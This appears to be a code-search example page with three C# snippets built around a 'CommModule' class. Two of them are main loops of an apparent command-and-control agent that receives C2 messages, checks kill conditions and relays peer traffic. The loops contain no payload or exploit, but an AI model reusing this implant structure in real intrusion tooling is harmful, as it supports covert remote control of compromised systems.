示例#1
0
        public void Start()
        {
            AgentStatus = AgentStatus.Running;

            CommModule.Start();

            while (AgentStatus == AgentStatus.Running)
            {
                CheckKillConditions();

                if (CommModule.RecvData(out AgentMessage incoming))
                {
                    if (incoming != null)
                    {
                        HandleC2Data(incoming);
                    }
                }

                foreach (var tcpClient in TcpClients)
                {
                    if (tcpClient.ModuleStatus == ModuleStatus.Running && tcpClient.RecvData(out AgentMessage outgoing))
                    {
                        CommModule.SendData(outgoing);
                    }
                }
            }
        }
示例#2
0
        protected BinaryCommClient(string iniFile, string commonSectonName = null, string connSectonName = null, bool crypto = false)
        {
            this.connSectonName = connSectonName;
            commClient          = new CommModule(crypto);

            ThrowIfFail(commClient.Start(iniFile, commonSectonName));
        }
示例#3
0
    public void Start()
    {
        AgentStatus = AgentStatus.Running;

        CommModule.SetMetadata(AgentMetadata);
        CommModule.Start();
        P2P.Start();

        while (AgentStatus == AgentStatus.Running)
        {
            if (CommModule.RecvData(out AgentMessage message))
            {
                HandleMessage(message);
            }
        }
    }